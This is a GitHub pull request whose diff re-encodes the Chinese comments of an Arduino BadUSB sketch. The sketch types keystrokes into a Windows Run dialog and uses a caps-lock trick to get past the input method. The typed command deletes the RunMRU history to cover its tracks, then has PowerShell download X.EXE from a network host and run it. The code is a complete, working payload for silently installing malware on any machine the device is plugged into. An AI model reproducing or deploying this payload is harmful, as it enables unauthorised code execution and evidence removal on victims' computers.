Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update PowerShellDownload(win7,8).ino #4

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 13 additions & 13 deletions ino_code/PowerShellDownload(win7,8).ino
Original file line number Diff line number Diff line change
@@ -1,20 +1,20 @@
void setup() {//��ʼ��
Keyboard.begin();//��ʼ����ͨѶ
delay(5000);//��ʱ
Keyboard.press(KEY_LEFT_GUI);//win��
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//按下win键
delay(500);
Keyboard.press('r');//r��
Keyboard.press('r');//按下r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//���ÿ���д��Сд�ƹ����뷨
Keyboard.release(KEY_LEFT_GUI);//释放win键
Keyboard.release('r');//释放r键
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN POWERSHELL $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.dOWNLOADfILE('HTTP://192.168.1.103/X.EXE', 'c:\\X.EXE');START c:\\X.EXE;EXIT");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//��������ͨѶ
Keyboard.press(KEY_CAPS_LOCK);//按下大写
Keyboard.release(KEY_CAPS_LOCK);//整个过程关闭大写锁定
Keyboard.end();//结束键盘通讯
}
void loop()//ѭ��
void loop()//循环
{
}
}